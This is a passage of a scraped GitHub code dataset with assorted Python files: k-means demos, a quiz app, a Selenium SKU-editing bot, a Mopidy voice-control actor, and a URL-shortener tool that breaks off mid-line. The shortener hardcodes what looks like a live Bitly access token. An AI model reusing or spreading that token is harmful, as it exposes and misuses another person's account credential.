each_name in name:\n #print(each_name[:10], each_name[11:])\n #con = each_name.split('*')[0][:3]\n \n dist = each_name.split('*')[0]\n na = each_name.split('*')[1]\n df2.loc[cnt] = [dist, na, scores[count].cpu().data.numpy()]\n cnt += 1 \n count += 1 \n df2.to_csv(args.name+'_'+args.img+'_scores.csv')\n df2.to_csv(args.name+'_'+args.img+'_scores.csv')\n\nif __name__ == \"__main__\":\n args = siScore_parser()\n main(args)\n\n","repo_name":"DonghyunAhn/development-measure","sub_path":"Stage3/4_siScore.py","file_name":"4_siScore.py","file_ext":"py","file_size_in_byte":10297,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"61"} +{"seq_id":"15130511776","text":"from random import random, randrange\r\n\r\nimport numpy as np\r\n\r\n\r\nclass DMap:\r\n def __init__(self, n=20, m=20):\r\n self.n = n\r\n self.m = m\r\n self.droneX = randrange(n)\r\n self.droneY = randrange(m)\r\n self.surface = np.zeros((self.n, self.m))\r\n\r\n def randomMap(self, fill=0.2):\r\n for i in range(self.n):\r\n for j in range(self.m):\r\n if random() <= fill:\r\n self.surface[i][j] = 1\r\n\r\n def __str__(self):\r\n string = \"\"\r\n for i in range(self.n):\r\n for j in range(self.m):\r\n string = string + str(int(self.surface[i][j]))\r\n string = string + \"\\n\"\r\n return string\r\n\r\n","repo_name":"SerbanIoana/University-Projects","sub_path":"Semester4/Artificial Intelligence/assign3_EA/DMap.py","file_name":"DMap.py","file_ext":"py","file_size_in_byte":709,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2561726188","text":"import os\nimport subprocess \nimport json\ncurrent_dir = os.getcwd()\nfiles = os.listdir(current_dir)\n# print(current_dir)\nfor root, dirs, files in os.walk(current_dir):\n # print(files)\n if '.videoInfo' in files:\n with open(root+'\\.videoInfo', 'rb') as f:\n videoInfo_json = json.load(f)\n files = list(filter(lambda x: x.endswith('.mp4'), files))\n # print(files)\n input_file1 = root+'\\\\'+files[0]\n input_file2 = root+'\\\\'+files[1]\n output_file = root+'\\\\'+videoInfo_json['title']+'.mp4'\n\n print(output_file)\n codec = 'copy'\n subprocess.run(f\"ffmpeg -i {input_file1} -i {input_file2} -c {codec} {output_file}\")\n# ffmpeg -i \"1050618664-1-30280.mp4\" -i \"1050618664-1-30120.mp4\" -c copy \"output.mp4\"\n","repo_name":"zty0510/bilibili_merge","sub_path":"2mp4.py","file_name":"2mp4.py","file_ext":"py","file_size_in_byte":775,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6500071926","text":"# Kmeans Clustering Algorithm\n# Unsupervised Learning (Cluster)\n\nfrom sklearn import datasets\nfrom sklearn.cluster import KMeans\nfrom sklearn.preprocessing import MinMaxScaler\nimport numpy as np\nimport pandas as pd\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\n\ndef example1():\n pass\n\ndef example2():\n iris = datasets.load_iris()\n # print(iris.data.shape) # (150, 4)\n\n df = pd.DataFrame(iris.data, columns = iris.feature_names)\n # print(df.head())\n\n df['flower'] = iris.target\n # print(df.head(7))\n\n km = KMeans(n_clusters = 3)\n yp = km.fit_predict(df)\n # print(yp)\n\n df['cluster'] = yp\n # print(df.head(10))\n # print(df.cluster.unique()) # 尋找唯一的資料\n\n df1 = df[df.cluster == 0]\n df2 = df[df.cluster == 1]\n df3 = df[df.cluster == 2]\n\n # plt.scatter(df1[\"petal length (cm)\"], df1[\"petal width (cm)\"], color = 'blue')\n # plt.scatter(df2['petal length (cm)'], df2['petal width (cm)'], color = 'green')\n # plt.scatter(df3[\"petal length (cm)\"], df3[\"petal width (cm)\"], color = 'yellow')\n\n # Elbow Plot\n sse = []\n for k in range(1, 10):\n km = KMeans(n_clusters = k)\n km.fit(df)\n sse.append(km.inertia_)\n\n plt.xlabel('K')\n plt.ylabel('Sum of square error')\n plt.plot(range(1, 10), sse)\n plt.show()\n\ndef example3():\n flower = datasets.load_sample_image('flower.jpg')\n # can be any picture with high resulotion image\n # ax = plt.axes(xticks = [], yticks = [])\n # ax.imshow(flower)\n # print(flower.shape) # (length pixel, width pixel, n_dimension)\n\n data = flower / 255 # reshape 0 - 255, between 0 and 1\n data = data.reshape(427 * 640, 3)\n # print(data.shpae) # (273200, 3)\n\n def plot_pixels(data, title, colors = None, N = 10000):\n if colors is None:\n colors = data\n \n # choose a random subset\n rng = np.random.RandomState(0)\n i = rng.permutation(data.shape[0])[:N]\n \n # permutation method:\n # np.random.permutation(): 隨機排列\n # Ex. np.random.permutation([i for i in range(10)])\n\n colors = colors[i]\n R, G, B = data[i].T\n fig, ax = plt.subplots(1, 2, figsize = (16, 6))\n ax[0].scatter(R, G, color = colors, marker = '.')\n ax[0].set(xlabel = 'Red', ylabel = 'Green', xlim = (0, 1), ylim = (0, 1))\n\n ax[1].scatter(R, B, color = colors, marker = '.')\n ax[1].set(xlabel = \"Red\", ylabel = \"Blue\", xlim = (0, 1), ylim = (0, 1))\n\n fig.suptitle(title, size = 20)\n \n # plot_pixels(data, title = \"Input color space: 16 million possible colors\")\n from sklearn.cluster import MiniBatchKMeans\n import warnings\n warnings.simplefilter(\"ignore\") # Fix numpy issue\n kmeans = MiniBatchKMeans(16)\n kmeans.fit(data)\n new_colors = kmeans.cluster_centers_[kmeans.predict(data)]\n\n plot_pixels(data, colors = new_colors, title = \"Reduced color space: 16 colors\")\n\n plt.show()\n\nexample3()","repo_name":"Sapphire0912/Programming","sub_path":"Python/Practice/Algorithm/Kmeans.py","file_name":"Kmeans.py","file_ext":"py","file_size_in_byte":2971,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3955245714","text":"from time import sleep\nfrom typing import KeysView\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.common.exceptions import TimeoutException\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.keys import Keys\nimport pandas as pd\n\n\n# init drive\ndriver = webdriver.Chrome(executable_path='C:/Users/***PATH***/chromedriver.exe')\ndriver.maximize_window()\n\ndf=pd.read_excel('C:/Users/chris/Desktop/***LIST OF PART NAMES TO FIX***.xlsx')\nskulist= df.values.tolist()\n\ndef signin():\n \n url= \"https://***URL***.sera.tech/departments/337/pricebook?tab=pb_tasks\"\n # open the url\n driver.get(url)\n timeout= 10\n try:\n element_present = EC.presence_of_element_located((By.ID, 'admin_email'))\n WebDriverWait(driver, timeout).until(element_present)\n except TimeoutException:\n print(\"Timed out waiting for page to load\")\n username= driver.find_element(By.ID,'admin_email')\n username.send_keys('***USER***')\n\n try:\n element_present = EC.presence_of_element_located((By.ID, 'admin_password'))\n WebDriverWait(driver, 10).until(element_present)\n except TimeoutException:\n print(\"Timed out waiting for page to load\")\n password= driver.find_element(By.ID, 'admin_password')\n password.send_keys('***PASSWORD***')\n submit= driver.find_element(By.NAME, 'commit')\n submit.click()\n sleep(1)\n \n return driver\n\n# def partspagesetup():\n\n# //*[@id=\"vendor_id\"]\n# try:\n# element_present = EC.presence_of_element_located((By.XPATH, '//*[@id=\"products-table_filter\"]/label/input'))\n# WebDriverWait(driver, 10).until(element_present)\n# except TimeoutException:\n# print(\"Timed out waiting for page to load\")\n# //*[@id=\"products-table_length\"]/label/select\n\n\n\n\ndef partssearch(SKU):\n url2='https://***URL***.sera.tech/departments/337/pricebook?tab=pb_parts'\n driver.get(url2)\n\n # try:\n # element_present = EC.presence_of_element_located((By.XPATH, '//*[@id=\"products-table_filter\"]/label/input'))\n # WebDriverWait(driver, 10).until(element_present)\n # except TimeoutException:\n # print(\"Timed out waiting for page to load\")\n try:\n element_present = EC.presence_of_element_located((By.XPATH, '//*[@id=\"products-table_filter\"]/label/input'))\n WebDriverWait(driver, 10).until(element_present)\n except TimeoutException:\n print(\"Timed out waiting for page to load\")\n search = driver.find_element(By.XPATH, '//*[@id=\"products-table_filter\"]/label/input')\n search.click()\n search.clear()\n \n search.send_keys(str(SKU))\n sleep (1)\n try:\n element_present = EC.presence_of_element_located((By.XPATH, '//*[@id=\"products-table\"]/tbody/tr[2]/td[1]/div/span'))\n WebDriverWait(driver, 10).until(element_present)\n except TimeoutException:\n print(\"Timed out waiting for page to load\")\n sleep(2)\n linkele= driver.find_elements(By.XPATH, '//span[@class=\"link\"]')\n for i in linkele:\n index2= str(i.get_attribute('innerText'))\n if index2.find(str(SKU))!= -1:\n i.click()\n return\n linkele[0].click()\n \n # for i in range(len(links)):\n # print(links[i].get_attribute('name'))\n\n # parts=links\n # print(parts)\n # for i in parts:\n # if parts[i] == SKU:\n # parts[i].click()\n # return\n # else:\n # parts[0].click()\n \n return\n\n\ndef copypastesku():\n sleep(2)\n #grab sku and then paste/append it to name and vendor name\n try:\n element_present = EC.presence_of_element_located((By.XPATH, '//input[@placeholder=\"Part SKU\"]'))\n WebDriverWait(driver, 10).until(element_present)\n except TimeoutException:\n print(\"Timed out waiting for page to load\")\n grabsku= driver.find_element(By.XPATH, '//input[@placeholder=\"Part SKU\"][@class=\"form-control\"]')\n skutext=grabsku.get_attribute('_value')\n ##\n ##\n partnameskuadd=driver.find_element(By.XPATH,'//input[@placeholder=\"Part Name\"]')\n partnamecheck= partnameskuadd.get_attribute('_value')\n index = partnamecheck.find(skutext)\n if index == -1:\n partnameskuadd.click()\n partnameskuadd.send_keys(Keys.END)\n partnameskuadd.send_keys(Keys.SPACE, str(skutext))\n else:\n print(f'\"{skutext}\" not in \"{partnamecheck}\" part')\n\n partnamewithsku= partnameskuadd.get_attribute('_value')\n print(partnamewithsku)\n\n vendnameskuadd=driver.find_element(By.XPATH,'//input[@placeholder=\"Vendor Name\"]')\n\n vendnameskuadd.click()\n vendnameskuadd.clear()\n vendnameskuadd.send_keys(str(partnamewithsku))\n \n savebutton= driver.find_element(By.XPATH,'//button[@class=\"btn btn-sm btn-primary btn-ml\"]')\n savebutton.click()\n \n return\n\ndef skulistloop():\n for i in skulist:\n partssearch(i[0])\n copypastesku()\n return\n\ndef main():\n signin()\n skulistloop()\n driver.quit()\n\nif __name__ == '__main__':\n main()\n\n\n\n\n\n##parts search bar\n#<input type=\"search\" class=\"form-control form-control-sm\" placeholder=\"\" aria-controls=\"products-table\">\n\n###TASKS\n#class=\" dt-body-right task-link text-center\"\n#<td class=\" dt-body-right task-link text-center\"><a href=\"/departments/337/pricebook?part_id=470429\">1</a></td>\n##products-table > tbody > tr.odd > td.dt-body-right.task-link.text-center\n#/html/body/div[1]/div[2]/div[2]/main/div[2]/div/div[2]/div/div/div/main[1]/div[2]/div/div[2]/div/div[1]/div[2]/table/tbody/tr[2]/td[3]\n\n##number of matches\n#<div class=\"dataTables_info\" id=\"products-table_info\" role=\"status\" aria-live=\"polite\">Showing 1 to 1 of 1 entries (filtered from 875 total entries)</div>\n\n\n\n###parts page link\n#//*[@id=\"products-table\"]/tbody/tr[2]/td[1]/div/span ###class=\"link\"\n###parts name\n#//*[@id=\"products-table\"]/tbody/tr[2]/td[2]\n\n##SKU ERROR\n#/html/body/div[1]\n#<div class=\"toastify on mt-5 alert toastify-right toastify-top\" aria-live=\"polite\" style=\"background: rgb(220, 53, 69); transform: translate(0px, 0px); top: 15px;\">Vendor sku SKU must be unique per vendor<button type=\"button\" aria-label=\"Close\" class=\"toast-close\">✖</button></div>\n\n##Part Name Box\n#<input data-v-45d49f92=\"\" placeholder=\"Part Name\" data-cy=\"name\" type=\"\" class=\"form-control\">\n\n#Vend Name\n#<input data-v-45d49f92=\"\" placeholder=\"Vendor Name\" data-cy=\"vendor-name\" type=\"\" class=\"form-control\">\n\n#4 boxes by class, then name\n#<div data-v-45d49f92=\"\" class=\"d-flex flex-column full-width\"><input data-v-45d49f92=\"\" placeholder=\"Part SKU\" data-cy=\"sku\" type=\"\" class=\"form-control\"> <!----></div>\n\n##TASK NUMs\n#/html/body/div[4]/div/div/div/div[2]/div/div/div[2]/span\n\n\n\n\n","repo_name":"chrisotd/sera-sku-fixer","sub_path":"seraSKUfixREPLACEtheSTARS.py","file_name":"seraSKUfixREPLACEtheSTARS.py","file_ext":"py","file_size_in_byte":6762,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23764349293","text":"def primalidad(n: int) -> bool:\n raiz: int =int(n**0.5)+1\n divisores : list[int] = [i for i in range(2, raiz) if n % i == 0]\n esPrimo : bool = len(divisores) == 0\n return esPrimo\n \n\nif __name__==\"__main__\":\n n: int =int(input(\"escriba un numero para saber si es primo: \"))\n primo: bool = primalidad(n)\n if primo == True:\n print(\"es un numero primo!!\")\n else:\n print(\"No es primo\")","repo_name":"Odmorenoc/cursoPython","sub_path":"basics4/ejercicios/primalidadStaticTyping.py","file_name":"primalidadStaticTyping.py","file_ext":"py","file_size_in_byte":425,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8044381969","text":"import h5py\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom astropy.io import fits\n\ndata = h5py.File('output/1d.h5')\nstokes = np.array(fits.open('data/tmp.1d.fits')[0].data)\n\nfig, ax = plt.subplots(nrows=2, ncols=2, figsize=(10,10))\nax = ax.flatten()\n\nlabel = ['i', 'q', 'u', 'v']\n\nfor i in range(4):\n\n ax[i].plot(data['spec1']['wavelength'][:], stokes[i,:])\n for j in range(2):\n np.savetxt('txt/{}_{}.dat'.format(label[i], j + 1), list(zip(data['spec1']['wavelength'][:], data['spec1']['stokes'][0,0,j,i,:])) )\n ax[i].plot(data['spec1']['wavelength'][:], data['spec1']['stokes'][0,0,j,i,:], label='Cycle {0}'.format(j))\n\nfor i in range(4):\n ax[i].set_xlabel('Wavelength [$\\AA$]')\n #ax[i].set_ylabel('{0}/Ic'.format(label[i]))\n\nplt.legend()\n\nplt.show()","repo_name":"danielpanero/LAM-2019","sub_path":"plot_1d.py","file_name":"plot_1d.py","file_ext":"py","file_size_in_byte":787,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16143579225","text":"def insertionsort(n,arr):\n l = len(arr) - 1\n t = arr[l]\n flag = 0\n for i in range(l - 1,-1,-1):\n print(arr[i],i)\n if flag == 1:\n continue\n elif arr[i] > t:\n arr[i + 1] = arr[i]\n for e in arr:\n print(e,end = \" \")\n print(end = \"\\n\")\n else:\n arr[i + 1] = t\n flag = 1\n for e in arr:\n print(e,end = \" \")\n print(end = \"\\n\")\n if flag == 0:\n arr[0] = t\n for e in arr:\n print(e,end = \" \")\n print(end = \"\\n\") \n \nn = 5\narr = [2, 3, 4, 5, 6, 7, 8, 9, 10, 1]\nprint(insertionsort(n,arr))","repo_name":"abarnaavenkatesan97/Competetive-coding-problem-solving","sub_path":"insertionsort.py","file_name":"insertionsort.py","file_ext":"py","file_size_in_byte":680,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25203090472","text":"\"\"\"\n Search for element d in sorted array of size n\n Return index of elemnt or -1 if not found\n [2,12,70,71,99] d=1 => -1 | d=2 => 0 | d=70 => 2 | d=75 => -1 | d=99 => 4 | d=101 => -1\n\n Binary Search\n \n Time complexity - O(log(N))\n Space complexity - O(1)\n\"\"\"\n\ndef sortedSearch(array, d):\n left = 0\n right = len(array)\n\n while right > left:\n mid = int(left + (right-left)/2)\n\n if array[mid] == d:\n return mid\n elif d > array[mid]:\n left = mid+1\n else:\n right = mid\n \n return -1\n\n\nif __name__ == \"__main__\":\n for i in [1, 2, 12, 70, 71, 75, 99, 101]:\n print(\"Index of {} is {}\".format(i, sortedSearch([2,12,70,71,99], i)))","repo_name":"arnavmittal/DataStructures","sub_path":"Array/array_search_sorted.py","file_name":"array_search_sorted.py","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38444793018","text":"import yaml\nfrom datetime import datetime\nimport tkinter as tk\nfrom tkinter import messagebox, simpledialog, Toplevel, Radiobutton, StringVar\n\nCONFIG = 'config.yml'\nSAVE_FILE = 'results.yml'\n\n\ndef get_all_tests():\n with open(CONFIG, 'r', encoding='utf-8') as f:\n config = yaml.safe_load(f.read())\n return config['tests']\n\n\ndef get_test(filename):\n with open(filename, 'r', encoding='utf-8') as f:\n test = yaml.safe_load(f.read())\n return test\n\n\ndef select_test(tests):\n test_options = \"\\n\".join([f'{i+1}: {test[\"title\"]}' for i, test in enumerate(tests)])\n test_number = simpledialog.askinteger(\"Вибір теста\", f\"Будь ласка оберіть тест:\\n{test_options}\", minvalue=1, maxvalue=len(tests)) - 1\n if test_number not in range(len(tests)):\n messagebox.showerror(\"Error\", \"Invalid Test Number\")\n return select_test(tests)\n return get_test(tests[test_number]['filename'])\n\n\ndef save_result(username, result):\n with open(SAVE_FILE, 'r', encoding='utf-8') as f:\n prev_result = yaml.safe_load(f.read()) or {}\n\n user_data = prev_result.get(username, None)\n if user_data:\n prev_result[username].update(result)\n else:\n prev_result.update({username: result})\n\n with open(SAVE_FILE, 'w', encoding='utf-8') as f:\n yaml.dump(prev_result, f, indent=4)\n\n\ndef get_response(question):\n answer_window = Toplevel()\n answer_window.title(\"Питання\")\n answer_var = StringVar()\n\n question_label = tk.Label(answer_window, text=question['question'])\n question_label.pack()\n\n for k, v in question['answers'].items():\n answer_button = Radiobutton(answer_window, text=f'{k}: {v}', variable=answer_var, value=k)\n answer_button.pack(anchor='w')\n\n answer_button = tk.Button(answer_window, text='Submit', command=answer_window.destroy)\n answer_button.pack()\n answer_window.wait_window()\n\n return answer_var.get()\n\n\ndef show_answers(questions, results):\n x = messagebox.askyesno(\"Результат\", \"Ви хочете переглянути результат?\")\n if not x:\n return\n\n for question in questions:\n user_answer = results[question['id']]['user_answer']\n correct_answer = question['correct_answer']\n messagebox.showinfo(\"Question\", f\"{question['question']}\\nВаша відповідь: {user_answer}\\nПравильна відповідь: {correct_answer}\")\n\n\ndef start_test(test, instruction_window):\n instruction_window.destroy()\n\n username = simpledialog.askstring(\"Ім'я\", \"Введіть ваше ім'я\")\n start = datetime.now()\n print('Start timer')\n\n questions = test['questions']\n test_result = {}\n correct_answers = 0\n\n for question in questions:\n response = get_response(question)\n is_correct = response == question['correct_answer']\n if is_correct:\n correct_answers += 1\n test_result[question['id']] = dict(\n correct_answer=question['correct_answer'],\n user_answer=response,\n )\n end = datetime.now()\n total_time_spend = end - start\n messagebox.showinfo(\"Test Time\", 'Ви виконали тест за ' + str(total_time_spend))\n result = {test['title']: {\n 'result': test_result,\n 'time_spend': str(total_time_spend),\n 'max_score': len(questions),\n 'user_score': correct_answers,\n }\n }\n save_result(username, result)\n show_answers(questions, test_result)\n\n\ndef show_instructions(test):\n instruction_window = Toplevel()\n instruction_window.title(\"Інструкція\")\n\n instructions = test.get('instructions', '1.Введіть ваше імя в поле для введення.\\n 2.Для кожного питання у тесті\\n Прочитайте питання.\\n Оберіть один з варіантів відповідей, використовуючи радіокнопки.\\n Натисніть кнопку \"Submit\", щоб перевірити вашу відповідь та перейти до наступного питання.\\n 3.Після закінчення тесту зявиться повідомлення з часом, витраченим на тестування.\\n 4. Результати тесту, включаючи ваші відповіді та правильні відповіді, будуть збережені в файлі \"results.yml\".\\n 5. Якщо ви бажаєте, можете переглянути ваші відповіді та правильні відповіді на кожне питання.\\n 6. Закрийте програму після завершення тестування.')\n instruction_label = tk.Label(instruction_window, text=instructions)\n instruction_label.pack()\n\n start_test_button = tk.Button(instruction_window, text='Почати тест', command=lambda: start_test(test, instruction_window))\n start_test_button.pack()\n\n instruction_window.mainloop()\n\n\ndef main():\n tests = get_all_tests()\n test = select_test(tests)\n show_instructions(test)\n\n\nif __name__ == '__main__':\n root = tk.Tk()\n root.withdraw()\n main()\n root.mainloop()\n","repo_name":"lRadixl/Course-Project-Python","sub_path":"Course Project Python/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5254,"program_lang":"python","lang":"uk","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17505900261","text":"from __future__ import unicode_literals\n\nimport logging\nimport pykka\n\nfrom mopidy import service\nfrom mopidy.utils.jsonrpc import private_method\nfrom musicgrammar import music_grammar_parser\nfrom speech2text import SpeechToText\n\nlogger = logging.getLogger(__name__)\n\nVOICE_SERVICE_NAME = 'voice'\n\n\nclass VoiceRecognitionManager(pykka.ThreadingActor, service.Service):\n \"\"\"\n VoiceRecognitionManager \n\n It implements a mopidy Service and posts events to any classes\n mixing in the ServiceListener interface.\n\n Some of the use-cases supported are:\n\n - Continuously monitor the audio source for voice commands\n - Translate voice commands to Mopidy operations such as\n search, play, stop, next, previous, etc\n \"\"\"\n name = VOICE_SERVICE_NAME\n public = True\n\n def __init__(self, config, core):\n super(VoiceRecognitionManager, self).__init__()\n self.config = dict(config[self.name])\n self.core = core\n self.speech2text = None\n\n def _speech_to_text_result(self, res_type, tag, text):\n if (res_type == 'partial'): # We don't support partial results\n return\n service.ServiceListener.send('voice_recognition_result',\n service=self.name,\n utterance=text.lower())\n self._music_command_handler(text.lower())\n\n def _music_command_handler(self, utterance):\n result = music_grammar_parser(utterance)\n if result is None:\n return\n\n intent = result['intent']\n entities = result['entities']\n logger.info('Got command: %s -> %s', intent, entities)\n\n if intent in ['play'] and entities is None:\n self._music_control_play()\n elif intent in ['pause']:\n self._music_control_pause()\n elif intent in ['resume']:\n self._music_control_resume()\n elif intent in ['stop', 'reset']:\n self._music_control_stop()\n elif intent in ['skip', 'next']:\n self._music_control_next()\n elif intent in ['back', 'previous']:\n self._music_control_previous()\n elif intent in ['mute'] and 'state' in entities:\n state = True if entities['state'] == 'on' else False\n self._music_control_set_mute(state)\n elif intent in ['mute']:\n self._music_control_set_mute(True)\n elif intent in ['unmute']:\n self._music_control_set_mute(False)\n elif intent in ['insert', 'append', 'search', 'find', 'play'] and \\\n entities is not None:\n self._music_search(intent, entities)\n elif intent in ['reset']:\n self._music_reset()\n elif intent in ['clear']:\n self._music_clear()\n elif intent in ['shuffle'] and 'state' in entities:\n state = True if entities['state'] == 'on' else False\n self._music_shuffle(state)\n elif intent in ['repeat'] and 'state' in entities:\n state = True if entities['state'] == 'on' else False\n self._music_repeat(state)\n else:\n logger.warn('Unrecognised intent: %s', intent)\n\n def _music_shuffle(self, shuffle):\n self.core.tracklist.shuffle = shuffle\n\n def _music_repeat(self, repeat):\n self.core.tracklist.repeat = repeat\n\n def _music_clear(self):\n self.core.tracklist.clear()\n\n def _music_reset(self):\n tl_tracks = self.core.tracklist.slice(0, 1)\n if (len(tl_tracks) > 0):\n self.core.playback.change_track(tl_tracks[0])\n\n def _music_search(self, intent, query):\n if 'query' in query:\n query['any'] = query.pop('query')\n result = self.core.library.search(query=query).get()\n tracks = result.tracks\n if (len(tracks) == 0):\n return\n at_position = 0 if intent is 'insert' else None\n sz = min(self.config['max_search_results'], len(tracks))\n tl_tracks = self.core.tracklist.add(tracks=tracks[0:sz],\n at_position=at_position).get()\n if (intent is 'play' and len(tl_tracks) > 0):\n self.core.change_track(tl_track=tl_tracks[0])\n\n def _music_control_play(self):\n self.core.playback.play()\n\n def _music_control_stop(self):\n self.core.playback.stop()\n\n def _music_control_pause(self):\n self.core.playback.pause()\n\n def _music_control_resume(self):\n self.core.playback.pause()\n\n def _music_control_next(self):\n self.core.playback.next()\n\n def _music_control_set_mute(self, mute):\n self.core.playback.mute = mute\n\n def _music_control_previous(self):\n self.core.playback.previous()\n\n @private_method\n def on_start(self):\n \"\"\"\n Activate the service\n \"\"\"\n if (self.speech2text is not None):\n return\n\n # Create speech to text instance based on configured audio source\n # and provide our local callback handler for detected results\n use_pocketsphinx = self.config['use_pocketsphinx']\n model_dir = self.config['model_dir'] if use_pocketsphinx else None\n model_name = self.config['model_name'] if use_pocketsphinx else None\n self.speech2text = SpeechToText(self.config['audiosource'],\n model_dir,\n model_name,\n self._speech_to_text_result)\n self.speech2text.play()\n\n # Notify listeners\n self.state = service.ServiceState.SERVICE_STATE_STARTED\n service.ServiceListener.send('service_started', service=self.name)\n logger.info('VoiceRecognitionManager started')\n\n @private_method\n def on_stop(self):\n \"\"\"\n Put the service into idle mode.\n \"\"\"\n if (self.speech2text is None):\n return\n\n # Clean up\n self.speech2text.pause()\n self.speech2text.exit()\n self.speech2text = None\n\n # Notify listeners\n self.state = service.ServiceState.SERVICE_STATE_STOPPED\n service.ServiceListener.send('service_stopped', service=self.name)\n logger.info('VoiceRecognitionManager stopped')\n\n @private_method\n def on_failure(self, *args):\n pass\n\n @private_method\n def stop(self, *args, **kwargs):\n return pykka.ThreadingActor.stop(self, *args, **kwargs)\n\n def set_property(self, name, value):\n \"\"\"\n Set a property by name/value. The property setting is\n not persistent and will force the extension to be\n restarted.\n \"\"\"\n if (name in self.config):\n self.config[name] = value\n service.ServiceListener.send('service_property_changed',\n service=self.name,\n props={ name: value })\n self.on_stop()\n self.on_start()\n\n def get_property(self, name):\n \"\"\"\n Get a property by name. If name is ``None`` then\n the entire property dictionary is returned.\n \"\"\"\n if (name is None):\n return self.config\n else:\n try:\n value = self.config[name]\n return { name: value }\n except:\n return None\n\n def enable(self):\n \"\"\"\n Enable the service\n \"\"\"\n self.on_start()\n\n def disable(self):\n \"\"\"\n Disable the service\n \"\"\"\n self.on_stop()\n","repo_name":"liamw9534/mopidy-voice","sub_path":"mopidy_voice/actor.py","file_name":"actor.py","file_ext":"py","file_size_in_byte":7532,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"61"} +{"seq_id":"42204627538","text":"class Solution:\n def merge(self, nums1: list[int], m: int, nums2: list[int], n: int) -> None:\n temparr = []\n for i in range(m):\n temparr.append(nums1[i])\n for i in range(n):\n temparr.append(nums2[i])\n temparr.sort()\n nums1.clear()\n nums1.extend(temparr)\n\n\nobj = Solution()\nprint(obj.merge([1,2,3,0,0,0], 3 ,[2,5,6],3))\n","repo_name":"harshita1611/leet_code","sub_path":"101_Array/merged_arr.py","file_name":"merged_arr.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"32407824947","text":"import sys\ninput = sys.stdin.readline\n\n# failed\n\ndef solution(n, k):\n\tr = 1\n\tnum = 1\n\tfor i in range(1, n + 1):\n\t\tr *= i\n\t\tif i <= k:\n\t\t\tnum *= i\n\t\tif i <= (n-k):\n\t\t\tnum *= i\n\tprint(int(r / num) % 10007)\n\n# ====================================================\n# best time part_1\ndef solution2(n, k):\n\tsto = [[1 for _ in range(k+1)] for _ in range(n+1)]\n\tprint(sto)\n\tfor i in range(1, k+1):\n\t\tfor j in range(i+1, n+1):\n\t\t\tsto[j][i] = (sto[j-1][i-1] + sto[j-1][i]) % 10007\n\tprint(sto)\n\tprint(sto[n][k])\n\n# ====================================================\n# best time part_2\ndef solution3(n, k):\n\tr = 1\n\tfor i in range(k):\n\t\tr *= n-i\n\t\tr //= i+1\n\tprint(r%10007)\n\nif __name__ == \"__main__\":\n\tn, k = map(int, input().split())\n\tsolution(n, k)\n\tsolution2(n, k)\n\tsolution3(n, k)","repo_name":"kim-mg/algorithm","sub_path":"baekjoon/6 numberTheory_and_combinatorics/binomialCoefficient_2_11051.py","file_name":"binomialCoefficient_2_11051.py","file_ext":"py","file_size_in_byte":774,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1591400275","text":"try:\n import os,sys,time,requests,json,re\n import pyshorteners\n import colorama\n import bitly_api\n from colorama import Fore,init,Back\nexcept ModuleNotFoundError:\n printtik(f\"{W}[{B}+{W}] Installing Module{abu}.....\")\n os.system(\"bash requirements.sh\")\n\nB = Fore.BLUE\nW = Fore.WHITE\nR = Fore.RED\nG = Fore.GREEN\nBL = Fore.BLACK\nY = Fore.YELLOW\n\nHijau=\"\\033[1;92m\"\nputih=\"\\033[1;97m\"\nabu=\"\\033[1;90m\"\nkuning=\"\\033[1;93m\"\nungu=\"\\033[1;95m\"\nmerah=\"33[37;1m\"\nbiru=\"\\033[1;96m\"\n#Tulisan Background Merah\nbg=\"\\033[1;0m\\033[1;41mText\\033[1;0m\"\n\n#def checkping():\n #os.system(\"python speed.py\")\n\ndef printtik(s):\n for c in s + \"\\n\":\n sys.stdout.write(c)\n sys.stdout.flush()\n time.sleep(1./100)\n\ndef tanya():\n tanya=input(f\"{W}[{R}!{W}] Back To The Tools {biru}({W}y{abu}/{W}t{biru}) {R}:{G} \")\n if tanya == \"y\" or tanya == \"Y\":\n banner()\n inputt()\n if tanya == \"t\" or tanya == \"T\":\n printtik(f\"{W}[{R}!{W}] Program Dihentikan {R}!!!\")\n sys.exit()\n\ndef bitly():\n token='df26aab8b854cb95e39df6e4a2f51d7e77b90f5d'\n link = input(f\"{W}[{biru}~{W}] Link {R}:{G} \")\n start = bitly_api.Connection(access_token = token)\n done = start.shorten(link)\n time.sleep(3)\n printtik(f\"{W}[{G}✓{W}] 'message':'success-shortn'\")\n printtik (f\"\"\"\n{W}[{R}•{W}] Url {R}:{Y} {done['url']}\n{W}[{Y}•{W}] Long Url {R}:{Y} {link}\"\"\")\n\ndef tinyurl():\n link = input(f\"{W}[{biru}~{W}] Link {R}:{G} \")\n start = pyshorteners.Shortener().tinyurl.short(link)\n printtik(f\"[✓] 'message':'success-shortn'\")\n printtik (f\"\"\"\n{W}[{R}•{W}] Url {R}:{Y} {start}\n{W}[{Y}•{W}] Long Url {R}:{Y} {link}\"\"\")\n\ndef banner():\n os.system(\"clear\")\n print 